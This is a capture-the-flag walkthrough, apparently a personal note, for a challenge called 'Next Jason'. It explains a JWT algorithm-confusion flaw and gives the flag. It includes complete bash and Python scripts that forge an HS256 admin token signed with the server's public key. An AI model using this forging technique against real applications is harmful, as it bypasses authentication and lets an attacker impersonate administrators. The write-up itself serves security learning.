//Walkthrough - Next Jason
I have successfully solved the "Next Jason" challenge and retrieved the flag.
Flag: nullctf{f0rg3_7h15_cv3_h3h_ff6cbb95be95eaa2}
>Exploitation Summary
The application contained a JWT Algorithm Confusion vulnerability.
- The
/token/verifyendpoint allowed bothRS256(Asymmetric) andHS256(Symmetric) algorithms. - The verification used the Public Key (
PUBKEY) as the secret/key. - By forging a token signed with
HS256using the Public Key as the HMAC secret, I could impersonate theadminuser.
>Steps to Reproduce
- Get User Token: Authenticate as a regular user via
/token/sign(unprotected) to get a valid token. - Get Public Key: Use the valid user token to bypass auth middleware and request
/api/getPublicKey. - Forge Admin Token:
- Construct a JWT with header
{"alg": "HS256", "typ": "JWT"}. - Payload:
{"username": "admin", "iat": <current_time>}. - Sign it using HMAC-SHA256 with the Public Key string as the secret.
- Crucial Detail: The key must be used exactly as returned by the server, without extra newlines.
- Construct a JWT with header
- Get Flag: Send a request to
/api/getFlagwith the forgedadmintoken.
>Exploit Script
I created a
solve.sh script that automates this entire process, using a helper
forge.py script for the manual JWT signing (to bypass client-side library safety checks).
solve.sh
sh
#!/bin/bash
BASE_URL=$1
echo "[*] Targeting: $BASE_URL"
# 1. Get User Token
USER_TOKEN_JSON=$(curl -s -X POST -H "Content-Type: application/json" -d '{"username":"user"}' "$BASE_URL/token/sign")
USER_TOKEN=$(echo $USER_TOKEN_JSON | grep -oP '"token":"\K[^"]+')
echo "[+] Got User Token: ${USER_TOKEN:0:20}..."
# 2. Get Public Key (Use sys.stdout.write to avoid adding newlines!)
PUBKEY_JSON=$(curl -s --cookie "token=$USER_TOKEN" "$BASE_URL/api/getPublicKey")
python3 -c "import sys, json; sys.stdout.write(json.loads(sys.argv[1])['PUBKEY'])" "$PUBKEY_JSON" > key.pem
echo "[+] Got Public Key (saved to key.pem)"
# 3. Forge Admin Token
ADMIN_TOKEN=$(python3 forge.py key.pem)
echo "[+] Forged Token: ${ADMIN_TOKEN:0:20}..."
# 4. Get Flag
curl -s --cookie "token=$ADMIN_TOKEN" "$BASE_URL/api/getFlag"
forge.py
python
import sys, hmac, hashlib, base64, time, json
def base64url_encode(data):
if isinstance(data, str): data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def forge_token(public_key_pem):
header = {"alg": "HS256", "typ": "JWT"}
payload = {"username": "admin", "iat": int(time.time())}
header_enc = base64url_encode(json.dumps(header, separators=(',', ':')))
payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')))
# Sign with HS256 using Public Key as secret
secret = public_key_pem.encode('utf-8')
msg = f"{header_enc}.{payload_enc}".encode('utf-8')
signature = hmac.new(secret, msg, hashlib.sha256).digest()
return f"{header_enc}.{payload_enc}.{base64url_encode(signature)}"
if __name__ == '__main__':
with open(sys.argv[1], 'r') as f:
print(forge_token(f.read()))
![[Pasted image 20251206004005.png]]